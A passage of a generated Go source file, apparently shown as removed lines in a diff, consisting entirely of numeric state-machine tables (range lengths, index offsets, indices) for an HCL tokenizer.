- 0, 1, 0, 0, 0, 0, 0, 0, - 0, 1, 0, 0, 0, 4, 3, 2, - 2, 0, 6, 1, 0, 1, 1, 0, - 2, 0, 4, 3, 0, 1, 1, 0, - 0, 0, 0, 0, 0, 0, 1, 0, - 0, 0, 1, 0, 3, 0, 2, 0, - 0, 0, 3, 0, 2, 1, 1, 3, - 1, 0, 0, 0, 0, 0, 5, 2, - 0, 0, 0, 0, 0, 0, 1, 0, - 0, 1, 1, 0, 0, 35, 4, 0, - 0, 0, 0, 0, 0, 0, 1, 0, - 0, 0, 0, 0, 0, 3, 0, 1, - 0, 0, 3, 0, 0, 1, 0, 0, - 0, 0, 28, 0, 0, 0, 0, 1, - 0, 3, 1, 4, 0, 1, 0, 0, - 1, 0, 0, 1, 0, 0, 0, 0, - 1, 1, 0, 7, 0, 0, 2, 2, - 0, 11, 0, 0, 0, 0, 0, 1, - 1, 3, 0, 0, 4, 0, 0, 0, - 12, 1, 4, 1, 5, 2, 0, 3, - 2, 2, 2, 1, 7, 0, 7, 17, - 3, 0, 2, 0, 3, 0, 0, 1, - 0, 2, 0, 53, 2, 1, 1, 1, - 1, 1, 2, 3, 2, 2, 1, 34, - 1, 1, 0, 3, 2, 0, 0, 0, - 1, 2, 4, 1, 0, 1, 0, 0, - 0, 0, 1, 1, 1, 0, 0, 1, - 30, 47, 13, 9, 3, 0, 1, 28, - 2, 0, 18, 16, 0, 6, 4, 2, - 2, 0, 1, 1, 1, 2, 1, 2, - 0, 0, 0, 4, 2, 2, 3, 3, - 2, 1, 1, 0, 0, 0, 4, 2, - 2, 3, 3, 2, 1, 1, 0, 0, - 0, 33, 34, 0, 3, 2, 0, 0, - 0, 1, 2, 4, 1, 0, 1, 0, - 0, 0, 0, 1, 1, 1, 0, 0, - 1, 30, 47, 13, 9, 3, 0, 1, - 28, 2, 0, 18, 16, 0, -} - -var _hcltok_range_lengths []byte = []byte{ - 0, 0, 0, 0, 1, 1, 1, 5, - 5, 5, 0, 0, 3, 0, 1, 1, - 4, 2, 3, 0, 1, 0, 2, 2, - 4, 2, 2, 3, 1, 1, 1, 1, - 0, 1, 1, 2, 2, 1, 4, 6, - 9, 6, 8, 5, 8, 7, 10, 4, - 6, 4, 7, 7, 5, 5, 4, 5, - 1, 2, 8, 4, 3, 3, 3, 0, - 3, 1, 2, 1, 2, 2, 3, 3, - 1, 3, 2, 2, 1, 2, 2, 2, - 3, 4, 4, 3, 1, 2, 1, 3, - 2, 2, 2, 2, 2, 3, 3, 1, - 1, 2, 1, 3, 2, 2, 3, 2, - 7, 0, 1, 4, 1, 2, 4, 2, - 1, 2, 0, 2, 2, 3, 5, 5, - 1, 4, 1, 1, 2, 2, 1, 0, - 0, 1, 1, 1, 1, 1, 2, 2, - 2, 2, 1, 1, 1, 4, 2, 2, - 3, 1, 4, 4, 6, 1, 3, 1, - 1, 2, 1, 1, 1, 5, 3, 1, - 1, 1, 2, 3, 3, 1, 2, 2, - 1, 4, 1, 2, 5, 2, 1, 1, - 0, 2, 2, 2, 2, 2, 2, 2, - 2, 2, 1, 1, 2, 4, 2, 1, - 2, 2, 2, 6, 1, 1, 2, 1, - 2, 1, 1, 1, 2, 2, 2, 1, - 3, 2, 5, 2, 8, 6, 2, 2, - 2, 2, 3, 1, 3, 1, 2, 1, - 3, 2, 2, 3, 1, 1, 1, 1, - 1, 1, 1, 2, 2, 4, 1, 2, - 1, 0, 1, 1, 1, 1, 0, 1, - 2, 3, 1, 3, 3, 1, 0, 3, - 0, 2, 3, 1, 0, 0, 0, 0, - 2, 2, 2, 2, 1, 5, 2, 2, - 5, 7, 5, 0, 1, 0, 1, 1, - 1, 1, 1, 0, 1, 1, 0, 3, - 3, 1, 1, 2, 1, 3, 5, 1, - 1, 2, 2, 1, 1, 1, 1, 2, - 6, 3, 7, 2, 6, 1, 6, 2, - 8, 0, 4, 2, 5, 2, 3, 3, - 3, 1, 2, 8, 2, 0, 2, 1, - 2, 1, 5, 2, 1, 3, 3, 0, - 2, 1, 2, 1, 0, 1, 1, 3, - 1, 1, 2, 3, 0, 0, 3, 2, - 4, 1, 4, 1, 1, 3, 1, 1, - 1, 1, 2, 2, 1, 3, 1, 4, - 3, 3, 1, 1, 5, 2, 1, 1, - 2, 1, 2, 1, 3, 2, 0, 1, - 1, 1, 1, 1, 1, 1, 2, 1, - 1, 1, 1, 1, 1, 1, 0, 1, - 1, 2, 2, 1, 1, 1, 3, 2, - 1, 0, 2, 1, 1, 1, 1, 0, - 3, 0, 1, 1, 4, 2, 3, 0, - 1, 0, 2, 2, 4, 2, 2, 3, - 1, 1, 1, 1, 0, 1, 1, 2, - 2, 1, 4, 6, 9, 6, 8, 5, - 8, 7, 10, 4, 6, 4, 7, 7, - 5, 5, 4, 5, 1, 2, 8, 4, - 3, 3, 3, 0, 3, 1, 2, 1, - 2, 2, 3, 3, 1, 3, 2, 2, - 1, 2, 2, 2, 3, 4, 4, 3, - 1, 2, 1, 3, 2, 2, 2, 2, - 2, 3, 3, 1, 1, 2, 1, 3, - 2, 2, 3, 2, 7, 0, 1, 4, - 1, 2, 4, 2, 1, 2, 0, 2, - 2, 3, 5, 5, 1, 4, 1, 1, - 2, 2, 1, 0, 0, 1, 1, 1, - 1, 1, 2, 2, 2, 2, 1, 1, - 1, 4, 2, 2, 3, 1, 4, 4, - 6, 1, 3, 1, 1, 2, 1, 1, - 1, 5, 3, 1, 1, 1, 2, 3, - 3, 1, 2, 2, 1, 4, 1, 2, - 5, 2, 1, 1, 0, 2, 2, 2, - 2, 2, 2, 2, 2, 2, 1, 1, - 2, 4, 2, 1, 2, 2, 2, 6, - 1, 1, 2, 1, 2, 1, 1, 1, - 2, 2, 2, 1, 3, 2, 5, 2, - 8, 6, 2, 2, 2, 2, 3, 1, - 3, 1, 2, 1, 3, 2, 2, 3, - 1, 1, 1, 1, 1, 1, 1, 2, - 2, 4, 1, 2, 1, 0, 1, 1, - 1, 1, 0, 1, 2, 3, 1, 3, - 3, 1, 0, 3, 0, 2, 3, 1, - 0, 0, 0, 0, 2, 2, 2, 2, - 1, 5, 2, 2, 5, 7, 5, 0, - 1, 0, 1, 1, 1, 1, 1, 0, - 1, 1, 1, 2, 2, 3, 3, 4, - 7, 5, 7, 5, 3, 3, 7, 3, - 13, 1, 3, 5, 3, 5, 3, 6, - 5, 2, 2, 8, 4, 1, 2, 3, - 2, 10, 2, 2, 0, 2, 3, 3, - 1, 2, 3, 3, 1, 2, 3, 3, - 4, 4, 2, 1, 2, 2, 3, 2, - 2, 5, 3, 2, 3, 2, 1, 3, - 3, 6, 2, 2, 5, 2, 5, 1, - 1, 2, 4, 1, 11, 1, 3, 8, - 4, 2, 1, 0, 4, 3, 3, 3, - 2, 9, 1, 1, 4, 3, 2, 2, - 2, 3, 4, 2, 3, 2, 4, 3, - 2, 2, 3, 3, 4, 3, 3, 4, - 2, 5, 4, 8, 7, 1, 2, 1, - 3, 1, 2, 5, 1, 2, 2, 2, - 2, 1, 3, 2, 2, 3, 3, 1, - 9, 1, 5, 1, 3, 2, 2, 3, - 2, 3, 3, 3, 1, 3, 3, 2, - 2, 4, 5, 3, 3, 4, 3, 3, - 3, 2, 2, 2, 4, 2, 2, 1, - 3, 3, 3, 3, 3, 3, 2, 2, - 3, 2, 3, 3, 2, 3, 2, 3, - 1, 2, 2, 2, 2, 2, 2, 2, - 2, 2, 2, 2, 3, 2, 3, 2, - 3, 5, 3, 3, 1, 2, 3, 2, - 2, 1, 2, 3, 4, 3, 0, 3, - 0, 2, 3, 1, 0, 0, 0, 0, - 2, 3, 2, 4, 6, 4, 1, 1, - 2, 1, 2, 1, 3, 2, 3, 2, - 5, 1, 1, 1, 1, 1, 0, 1, - 1, 1, 0, 0, 0, 1, 1, 1, - 0, 0, 0, 3, 0, 1, 1, 4, - 2, 3, 0, 1, 0, 2, 2, 4, - 2, 2, 3, 1, 1, 1, 1, 0, - 1, 1, 2, 2, 1, 4, 6, 9, - 6, 8, 5, 8, 7, 10, 4, 6, - 4, 7, 7, 5, 5, 4, 5, 1, - 2, 8, 4, 3, 3, 3, 0, 3, - 1, 2, 1, 2, 2, 3, 3, 1, - 3, 2, 2, 1, 2, 2, 2, 3, - 4, 4, 3, 1, 2, 1, 3, 2, - 2, 2, 2, 2, 3, 3, 1, 1, - 2, 1, 3, 2, 2, 3, 2, 7, - 0, 1, 4, 1, 2, 4, 2, 1, - 2, 0, 2, 2, 3, 5, 5, 1, - 4, 1, 1, 2, 2, 1, 0, 0, - 1, 1, 1, 1, 1, 2, 2, 2, - 2, 1, 1, 1, 4, 2, 2, 3, - 1, 4, 4, 6, 1, 3, 1, 1, - 2, 1, 1, 1, 5, 3, 1, 1, - 1, 2, 3, 3, 1, 2, 2, 1, - 4, 1, 2, 5, 2, 1, 1, 0, - 2, 2, 2, 2, 2, 2, 2, 2, - 2, 1, 1, 2, 4, 2, 1, 2, - 2, 2, 6, 1, 1, 2, 1, 2, - 1, 1, 1, 2, 2, 2, 1, 3, - 2, 5, 2, 8, 6, 2, 2, 2, - 2, 3, 1, 3, 1, 2, 1, 3, - 2, 2, 3, 1, 1, 1, 1, 1, - 1, 1, 2, 2, 4, 1, 2, 1, - 0, 1, 1, 1, 1, 0, 1, 2, - 3, 1, 3, 3, 1, 0, 3, 0, - 2, 3, 1, 0, 0, 0, 0, 2, - 2, 2, 2, 1, 5, 2, 2, 5, - 7, 5, 0, 1, 0, 1, 1, 1, - 1, 1, 0, 1, 1, 1, 2, 2, - 3, 3, 4, 7, 5, 7, 5, 3, - 3, 7, 3, 13, 1, 3, 5, 3, - 5, 3, 6, 5, 2, 2, 8, 4, - 1, 2, 3, 2, 10, 2, 2, 0, - 2, 3, 3, 1, 2, 3, 3, 1, - 2, 3, 3, 4, 4, 2, 1, 2, - 2, 3, 2, 2, 5, 3, 2, 3, - 2, 1, 3, 3, 6, 2, 2, 5, - 2, 5, 1, 1, 2, 4, 1, 11, - 1, 3, 8, 4, 2, 1, 0, 4, - 3, 3, 3, 2, 9, 1, 1, 4, - 3, 2, 2, 2, 3, 4, 2, 3, - 2, 4, 3, 2, 2, 3, 3, 4, - 3, 3, 4, 2, 5, 4, 8, 7, - 1, 2, 1, 3, 1, 2, 5, 1, - 2, 2, 2, 2, 1, 3, 2, 2, - 3, 3, 1, 9, 1, 5, 1, 3, - 2, 2, 3, 2, 3, 3, 3, 1, - 3, 3, 2, 2, 4, 5, 3, 3, - 4, 3, 3, 3, 2, 2, 2, 4, - 2, 2, 1, 3, 3, 3, 3, 3, - 3, 2, 2, 3, 2, 3, 3, 2, - 3, 2, 3, 1, 2, 2, 2, 2, - 2, 2, 2, 2, 2, 2, 2, 3, - 2, 3, 2, 3, 5, 3, 3, 1, - 2, 3, 2, 2, 1, 2, 3, 4, - 3, 0, 3, 0, 2, 3, 1, 0, - 0, 0, 0, 2, 3, 2, 4, 6, - 4, 1, 1, 2, 1, 2, 1, 3, - 2, 3, 2, 11, 0, 0, 0, 0, - 0, 0, 0, 1, 0, 0, 0, 5, - 0, 0, 1, 1, 1, 0, 1, 1, - 5, 4, 2, 0, 1, 0, 2, 2, - 5, 2, 3, 5, 3, 2, 3, 5, - 1, 1, 1, 3, 1, 1, 2, 2, - 3, 1, 2, 3, 1, 5, 6, 0, - 0, 0, 0, 0, 0, 0, 0, 5, - 1, 1, 1, 5, 6, 0, 0, 0, - 0, 0, 0, 1, 1, 1, 5, 6, - 0, 0, 0, 0, 0, 0, 1, 1, - 1, 8, 5, 1, 1, 1, 0, 1, - 1, 5, 4, 2, 0, 1, 0, 2, - 2, 5, 2, 3, 5, 3, 2, 3, - 5, 1, 1, 1, 3, 1, 1, 2, - 2, 3, 1, 2, 3, 1, -} - -var _hcltok_index_offsets []int16 = []int16{ - 0, 0, 2, 4, 7, 12, 16, 18, - 56, 93, 135, 137, 142, 146, 147, 149, - 151, 157, 162, 167, 169, 172, 174, 177, - 181, 187, 190, 193, 199, 201, 203, 205, - 208, 241, 243, 245, 248, 251, 254, 262, - 270, 281, 289, 298, 306, 315, 324, 336, - 343, 350, 358, 366, 375, 381, 389, 395, - 403, 405, 408, 422, 428, 436, 440, 444, - 446, 493, 495, 498, 500, 505, 511, 517, - 522, 525, 529, 532, 535, 537, 540, 543, - 546, 550, 555, 560, 564, 566, 569, 571, - 575, 578, 581, 584, 587, 591, 596, 600, - 602, 604, 607, 609, 613, 616, 619, 627, - 631, 639, 655, 657, 662, 664, 668, 679, - 683, 685, 688, 690, 693, 698, 702, 708, - 714, 725, 730, 733, 736, 739, 742, 744, - 748, 749, 752, 754, 784, 786, 788, 791, - 795, 798, 802, 804, 806, 808, 814, 817, - 820, 824, 826, 831, 836, 843, 846, 850, - 854, 856, 859, 879, 881, 883, 890, 894, - 896, 898, 900, 903, 907, 911, 913, 917, - 920, 922, 927, 945, 984, 990, 993, 995, - 997, 999, 1002, 1005, 1008, 1011, 1014, 1018, - 1021, 1024, 1027, 1029, 1031, 1034, 1041, 1044, - 1046, 1049, 1052, 1055, 1063, 1065, 1067, 1070, - 1072, 1075, 1077, 1079, 1109, 1112, 1115, 1118, - 1121, 1126, 1130, 1137, 1140, 1149, 1158, 1161, - 1165, 1168, 1171, 1175, 1177, 1181, 1183, 1186, - 1188, 1192, 1196, 1200, 1208, 1210, 1212, 1216, - 1220, 1222, 1235, 1237, 1240, 1243, 1248, 1250, - 1253, 1255, 1257, 1260, 1265, 1267, 1269, 1274, - 1276, 1279, 1283, 1303, 1307, 1311, 1313, 1315, - 1323, 1325, 1332, 1337, 1339, 1343, 1346, 1349, - 1352, 1356, 1359, 1362, 1366, 1376, 1382, 1385, - 1388, 1398, 1418, 1424, 1427, 1429, 1433, 1435, - 1438, 1440, 1444, 1446, 1448, 1452, 1454, 1458, - 1463, 1469, 1471, 1473, 1476, 1478, 1482, 1489, - 1492, 1494, 1497, 1501, 1531, 1536, 1538, 1541, - 1545, 1554, 1559, 1567, 1571, 1579, 1583, 1591, - 1595, 1606, 1608, 1614, 1617, 1625, 1629, 1634, - 1639, 1644, 1646, 1649, 1664, 1668, 1670, 1673, - 1675, 1724, 1727, 1734, 1737, 1739, 1743, 1747, - 1750, 1754, 1756, 1759, 1761, 1763, 1765, 1767, - 1771, 1773, 1775, 1778, 1782, 1796, 1799, 1803, - 1806, 1811, 1822, 1827, 1830, 1860, 1864, 1867, - 1872, 1874, 1878, 1881, 1884, 1886, 1891, 1893, - 1899, 1904, 1910, 1912, 1932, 1940, 1943, 1945, - 1963, 2001, 2003, 2006, 2008, 2013, 2016, 2045, - 2047, 2049, 2051, 2053, 2056, 2058, 2062, 2065, - 2067, 2070, 2072, 2074, 2077, 2079, 2081, 2083, - 2085, 2087, 2090, 2093, 2096, 2109, 2111, 2115, - 2118, 2120, 2125, 2128, 2142, 2145, 2154, 2156, - 2161, 2165, 2166, 2168, 2170, 2176, 2181, 2186, - 2188, 2191, 2193, 2196, 2200, 2206, 2209, 2212, - 2218, 2220, 2222, 2224, 2227, 2260, 2262, 2264, - 2267, 2270, 2273, 2281, 2289, 2300, 2308, 2317, - 2325, 2334, 2343, 2355, 2362, 2369, 2377, 2385, - 2394, 2400, 2408, 2414, 2422, 2424, 2427, 2441, - 2447, 2455, 2459, 2463, 2465, 2512, 2514, 2517, - 2519, 2524, 2530, 2536, 2541, 2544, 2548, 2551, - 2554, 2556, 2559, 2562, 2565, 2569, 2574, 2579, - 2583, 2585, 2588, 2590, 2594, 2597, 2600, 2603, - 2606, 2610, 2615, 2619, 2621, 2623, 2626, 2628, - 2632, 2635, 2638, 2646, 2650, 2658, 2674, 2676, - 2681, 2683, 2687, 2698, 2702, 2704, 2707, 2709, - 2712, 2717, 2721, 2727, 2733, 2744, 2749, 2752, - 2755, 2758, 2761, 2763, 2767, 2768, 2771, 2773, - 2803, 2805, 2807, 2810, 2814, 2817, 2821, 2823, - 2825, 2827, 2833, 2836, 2839, 2843, 2845, 2850, - 2855, 2862, 2865, 2869, 2873, 2875, 2878, 2898, - 2900, 2902, 2909, 2913, 2915, 2917, 2919, 2922, - 2926, 2930, 2932, 2936, 2939, 2941, 2946, 2964, - 3003, 3009, 3012, 3014, 3016, 3018, 3021, 3024, - 3027, 3030, 3033, 3037, 3040, 3043, 3046, 3048, - 3050, 3053, 3060, 3063, 3065, 3068, 3071, 3074, - 3082, 3084, 3086, 3089, 3091, 3094, 3096, 3098, - 3128, 3131, 3134, 3137, 3140, 3145, 3149, 3156, - 3159, 3168, 3177, 3180, 3184, 3187, 3190, 3194, - 3196, 3200, 3202, 3205, 3207, 3211, 3215, 3219, - 3227, 3229, 3231, 3235, 3239, 3241, 3254, 3256, - 3259, 3262, 3267, 3269, 3272, 3274, 3276, 3279, - 3284, 3286, 3288, 3293, 3295, 3298, 3302, 3322, - 3326, 3330, 3332, 3334, 3342, 3344, 3351, 3356, - 3358, 3362, 3365, 3368, 3371, 3375, 3378, 3381, - 3385, 3395, 3401, 3404, 3407, 3417, 3437, 3443, - 3446, 3448, 3452, 3454, 3457, 3459, 3463, 3465, - 3467, 3471, 3473, 3475, 3481, 3484, 3489, 3494, - 3500, 3510, 3518, 3530, 3537, 3547, 3553, 3565, - 3571, 3589, 3592, 3600, 3606, 3616, 3623, 3630, - 3638, 3646, 3649, 3654, 3674, 3680, 3683, 3687, - 3691, 3695, 3707, 3710, 3715, 3716, 3722, 3729, - 3735, 3738, 3741, 3745, 3749, 3752, 3755, 3760, - 3764, 3770, 3776, 3779, 3783, 3786, 3789, 3794, - 3797, 3800, 3806, 3810, 3813, 3817, 3820, 3823, - 3827, 3831, 3838, 3841, 3844, 3850, 3853, 3860, - 3862, 3864, 3867, 3876, 3881, 3895, 3899, 3903, - 3918, 3924, 3927, 3930, 3932, 3937, 3943, 3947, - 3955, 3961, 3971, 3974, 3977, 3982, 3986, 3989, - 3992, 3995, 3999, 4004, 4008, 4012, 4015, 4020, - 4025, 4028, 4034, 4038, 4044, 4049, 4053, 4057, - 4065, 4068, 4076, 4082, 4092, 4103, 4106, 4109, - 4111, 4115, 4117, 4120, 4131, 4135, 4138, 4141, - 4144, 4147, 4149, 4153, 4157, 4160, 4164, 4169, - 4172, 4182, 4184, 4225, 4231, 4235, 4238, 4241, - 4245, 4248, 4252, 4256, 4261, 4263, 4267, 4271, - 4274, 4277, 4282, 4291, 4295, 4300, 4305, 4309, - 4316, 4320, 4323, 4327, 4330, 4335, 4338, 4341, - 4371, 4375, 4379, 4383, 4387, 4392, 4396, 4402, - 4406, 4414, 4417, 4422, 4426, 4429, 4434, 4437, - 4441, 4444, 4447, 4450, 4453, 4456, 4460, 4464, - 4467, 4477, 4480, 4483, 4488, 4494, 4497, 4512, - 4515, 4519, 4525, 4529, 4533, 4536, 4540, 4547, - 4550, 4553, 4559, 4562, 4566, 4571, 4587, 4589, - 4597, 4599, 4607, 4613, 4615, 4619, 4622, 4625, - 4628, 4632, 4643, 4646, 4658, 4682, 4690, 4692, - 4696, 4699, 4704, 4707, 4709, 4714, 4717, 4723, - 4726, 4734, 4736, 4738, 4740, 4742, 4744, 4746, - 4748, 4750, 4752, 4755, 4758, 4760, 4762, 4764, - 4766, 4769, 4772, 4777, 4781, 4782, 4784, 4786, - 4792, 4797, 4802, 4804, 4807, 4809, 4812, 4816, - 4822, 4825, 4828, 4834, 4836, 4838, 4840, 4843, - 4876, 4878, 4880, 4883, 4886, 4889, 4897, 4905, - 4916, 4924, 4933, 4941, 4950, 4959, 4971, 4978, - 4985, 4993, 5001, 5010, 5016, 5024, 5030, 5038, - 5040, 5043, 5057, 5063, 5071, 5075, 5079, 5081, - 5128, 5130, 5133, 5135, 5140, 5146, 5152, 5157, - 5160, 5164, 5167, 5170, 5172, 5175, 5178, 5181, - 5185, 5190, 5195, 5199, 5201, 5204, 5206, 5210, - 5213, 5216, 5219, 5222, 5226, 5231, 5235, 5237, - 5239, 5242, 5244, 5248, 5251, 5254, 5262, 5266, - 5274, 5290, 5292, 5297, 5299, 5303, 5314, 5318, - 5320, 5323, 5325, 5328, 5333, 5337, 5343, 5349, - 5360, 5365, 5368, 5371, 5374, 5377, 5379, 5383, - 5384, 5387, 5389, 5419, 5421, 5423, 5426, 5430, - 5433, 5437, 5439, 5441, 5443, 5449, 5452, 5455, - 5459, 5461, 5466, 5471, 5478, 5481, 5485, 5489, - 5491, 5494, 5514, 5516, 5518, 5525, 5529, 5531, - 5533, 5535, 5538, 5542, 5546, 5548, 5552, 5555, - 5557, 5562, 5580, 5619, 5625, 5628, 5630, 5632, - 5634, 5637, 5640, 5643, 5646, 5649, 5653, 5656, - 5659, 5662, 5664, 5666, 5669, 5676, 5679, 5681, - 5684, 5687, 5690, 5698, 5700, 5702, 5705, 5707, - 5710, 5712, 5714, 5744, 5747, 5750, 5753, 5756, - 5761, 5765, 5772, 5775, 5784, 5793, 5796, 5800, - 5803, 5806, 5810, 5812, 5816, 5818, 5821, 5823, - 5827, 5831, 5835, 5843, 5845, 5847, 5851, 5855, - 5857, 5870, 5872, 5875, 5878, 5883, 5885, 5888, - 5890, 5892, 5895, 5900, 5902, 5904, 5909, 5911, - 5914, 5918, 5938, 5942, 5946, 5948, 5950, 5958, - 5960, 5967, 5972, 5974, 5978, 5981, 5984, 5987, - 5991, 5994, 5997, 6001, 6011, 6017, 6020, 6023, - 6033, 6053, 6059, 6062, 6064, 6068, 6070, 6073, - 6075, 6079, 6081, 6083, 6087, 6089, 6091, 6097, - 6100, 6105, 6110, 6116, 6126, 6134, 6146, 6153, - 6163, 6169, 6181, 6187, 6205, 6208, 6216, 6222, - 6232, 6239, 6246, 6254, 6262, 6265, 6270, 6290, - 6296, 6299, 6303, 6307, 6311, 6323, 6326, 6331, - 6332, 6338, 6345, 6351, 6354, 6357, 6361, 6365, - 6368, 6371, 6376, 6380, 6386, 6392, 6395, 6399, - 6402, 6405, 6410, 6413, 6416, 6422, 6426, 6429, - 6433, 6436, 6439, 6443, 6447, 6454, 6457, 6460, - 6466, 6469, 6476, 6478, 6480, 6483, 6492, 6497, - 6511, 6515, 6519, 6534, 6540, 6543, 6546, 6548, - 6553, 6559, 6563, 6571, 6577, 6587, 6590, 6593, - 6598, 6602, 6605, 6608, 6611, 6615, 6620, 6624, - 6628, 6631, 6636, 6641, 6644, 6650, 6654, 6660, - 6665, 6669, 6673, 6681, 6684, 6692, 6698, 6708, - 6719, 6722, 6725, 6727, 6731, 6733, 6736, 6747, - 6751, 6754, 6757, 6760, 6763, 6765, 6769, 6773, - 6776, 6780, 6785, 6788, 6798, 6800, 6841, 6847, - 6851, 6854, 6857, 6861, 6864, 6868, 6872, 6877, - 6879, 6883, 6887, 6890, 6893, 6898, 6907, 6911, - 6916, 6921, 6925, 6932, 6936, 6939, 6943, 6946, - 6951, 6954, 6957, 6987, 6991, 6995, 6999, 7003, - 7008, 7012, 7018, 7022, 7030, 7033, 7038, 7042, - 7045, 7050, 7053, 7057, 7060, 7063, 7066, 7069, - 7072, 7076, 7080, 7083, 7093, 7096, 7099, 7104, - 7110, 7113, 7128, 7131, 7135, 7141, 7145, 7149, - 7152, 7156, 7163, 7166, 7169, 7175, 7178, 7182, - 7187, 7203, 7205, 7213, 7215, 7223, 7229, 7231, - 7235, 7238, 7241, 7244, 7248, 7259, 7262, 7274, - 7298, 7306, 7308, 7312, 7315, 7320, 7323, 7325, - 7330, 7333, 7339, 7342, 7407, 7410, 7412, 7414, - 7416, 7418, 7420, 7423, 7428, 7431, 7434, 7436, - 7476, 7478, 7480, 7482, 7487, 7491, 7492, 7494, - 7496, 7503, 7510, 7517, 7519, 7521, 7523, 7526, - 7529, 7535, 7538, 7543, 7550, 7555, 7558, 7562, - 7569, 7601, 7650, 7665, 7678, 7683, 7685, 7689, - 7720, 7726, 7728, 7749, 7769, 7771, 7783, 7794, - 7797, 7800, 7801, 7803, 7805, 7807, 7810, 7812, - 7820, 7822, 7824, 7826, 7836, 7845, 7848, 7852, - 7856, 7859, 7861, 7863, 7865, 7867, 7869, 7879, - 7888, 7891, 7895, 7899, 7902, 7904, 7906, 7908, - 7910, 7912, 7954, 7994, 7996, 8001, 8005, 8006, - 8008, 8010, 8017, 8024, 8031, 8033, 8035, 8037, - 8040, 8043, 8049, 8052, 8057, 8064, 8069, 8072, - 8076, 8083, 8115, 8164, 8179, 8192, 8197, 8199, - 8203, 8234, 8240, 8242, 8263, 8283, -} - -var _hcltok_indicies []int16 = []int16{ - 1, 0, 3, 2, 3, 4, 2, 6, - 8, 8, 7, 5, 9, 9, 7, 5, - 7, 5, 10, 11, 12, 13, 15, 16, - 17, 18, 19, 20, 21, 22, 23, 24, - 25, 26, 27, 28, 29, 30, 31, 32, - 33, 34, 35, 36, 37, 39, 40, 41, - 42, 43, 11, 11, 14, 14, 38, 0, - 11, 12, 13, 15, 16, 17, 18, 19, - 20, 21, 22, 23, 24, 25, 26, 27, - 28, 29, 30, 31, 32, 33, 34, 35, - 36, 37, 39, 40, 41, 42, 43, 11, - 11, 14, 14, 38, 0, 44, 45, 11, - 11, 46, 13, 15, 16, 17, 16, 47, - 48, 20, 49, 22, 23, 50, 51, 52, - 53, 54, 55, 56, 57, 58, 59, 60, - 61, 62, 37, 39, 63, 41, 64, 65, - 66, 11, 11, 11, 14, 38, 0, 44, - 0, 11, 11, 11, 11, 0, 11, 11, - 11, 0, 11, 0, 11, 11, 0, 0, - 0, 0, 0, 0, 11, 0, 0, 0, - 0, 11, 11, 11, 11, 11, 0, 0, - 11, 0, 0, 11, 0, 11, 0, 0, - 11, 0, 0, 0, 11, 11, 11, 11, - 11, 11, 0, 11, 11, 0, 11, 11, - 0, 0, 0, 0, 0, 0, 11, 11, - 0, 0, 11, 0, 11, 11, 11, 0, - 67, 68, 69, 70, 14, 71, 72, 73, - 74, 75, 76, 77, 78, 79, 80, 81, - 82, 83, 84, 85, 86, 87, 88, 89, - 90, 91, 92, 93, 94, 95, 96, 97, - 0, 11, 0, 11, 0, 11, 11, 0, - 11, 11, 0, 0, 0, 11, 0, 0, - 0, 0, 0, 0, 0, 11, 0, 0, - 0, 0, 0, 0, 0, 11, 11, 11, - 11, 11, 11, 11, 11, 11, 11, 11, - 0, 0, 0, 0, 0, 0, 0, 0, - 11, 11, 11, 11, 11, 11, 11, 11, - 11, 0, 0, 0, 0, 0, 0, 0, - 0, 11, 11, 11, 11, 11, 11, 11, - 11, 11, 0, 11, 11, 11, 11, 11, - 11, 11, 11, 0, 11, 11, 11, 11, - 11, 11, 11, 11, 11, 11, 11, 0, - 11, 11, 11, 11, 11, 11, 0, 11, - 11, 11, 11, 11, 11, 0, 0, 0, - 0, 0, 0, 0, 0, 11, 11, 11, - 11, 11, 11, 11, 11, 0, 11, 11, - 11, 11, 11, 11, 11, 11, 0, 11, - 11, 11, 11, 11, 0, 0, 0, 0, - 0, 0, 0, 0, 11, 11, 11, 11, - 11, 11, 0, 11, 11, 11, 11, 11, - 11, 11, 0, 11, 0, 11, 11, 0, - 11, 11, 11, 11, 11, 11, 11, 11, - 11, 11, 11, 11, 11, 0, 11, 11, - 11, 11, 11, 0, 11, 11, 11, 11, - 11, 11, 11, 0, 11, 11, 11, 0, - 11, 11, 11, 0, 11, 0, 98, 99, - 100, 101, 102, 103, 104, 105, 106, 107, - 108, 109, 110, 111, 112, 113, 114, 16, - 115, 116, 117, 118, 119, 120, 121, 122, - 123, 124, 125, 126, 127, 128, 129, 130, - 131, 132, 14, 15, 133, 134, 135, 136, - 137, 14, 16, 14, 0, 11, 0, 11, - 11, 0, 0, 11, 0, 0, 0, 0, - 11, 0, 0, 0, 0, 0, 11, 0, - 0, 0, 0, 0, 11, 11, 11, 11, - 11, 0, 0, 0, 11, 0, 0, 0, - 11, 11, 11, 0, 0, 0, 11, 11, - 0, 0, 0, 11, 11, 11, 0, 0, - 0, 11, 11, 11, 11, 0, 11, 11, - 11, 11, 0, 0, 0, 0, 0, 11, - 11, 11, 11, 0, 0, 11, 11, 11, - 0, 0, 11, 11, 11, 11, 0, 11, - 11, 0, 11, 11, 0, 0, 0, 11, - 11, 11, 0, 0, 0, 0, 11, 11, - 11, 11, 11, 0, 0, 0, 0, 11, - 0, 11, 11, 0, 11, 11, 0, 11, - 0, 11, 11, 11, 0, 11, 11, 0, - 0, 0, 11, 0, 0, 0, 0, 0, - 0, 0, 11, 11, 11, 11, 0, 11, - 11, 11, 11, 11, 11, 11, 0, 138, - 139, 140, 141, 142, 143, 144, 145, 146, - 14, 147, 148, 149, 150, 151, 0, 11, - 0, 0, 0, 0, 0, 11, 11, 0, - 11, 11, 11, 0, 11, 11, 11, 11, - 11, 11, 11, 11, 11, 11, 0, 11, - 11, 11, 0, 0, 11, 11, 11, 0, - 0, 11, 0, 0, 11, 11, 11, 11, - 11, 0, 0, 0, 0, 11, 11, 11, - 11, 11, 11, 0, 11, 11, 11, 11, - 11, 0, 152, 109, 153, 154, 155, 14, - 156, 157, 16, 14, 0, 11, 11, 11, - 11, 0, 0, 0, 11, 0, 0, 11, - 11, 11, 0, 0, 0, 11, 11, 0, - 119, 0, 16, 14, 14, 158, 0, 14, - 0, 11, 16, 159, 160, 16, 161, 162, - 16, 57, 163, 164, 165, 166, 167, 16, - 168, 169, 170, 16, 171, 172, 173, 15, - 174, 175, 176, 15, 177, 16, 14, 0, - 0, 11, 11, 0, 0, 0, 11, 11, - 11, 11, 0, 11, 11, 0, 0, 0, - 0, 11, 11, 0, 0, 11, 11, 0, - 0, 0, 0, 0, 0, 11, 11, 11, - 0, 0, 0, 11, 0, 0, 0, 11, - 11, 0, 11, 11, 11, 11, 0, 11, - 11, 11, 11, 0, 11, 11, 11, 11, - 11, 11, 0, 0, 0, 11, 11, 11, - 11, 0, 178, 179, 0, 14, 0, 11, - 0, 0, 11, 16, 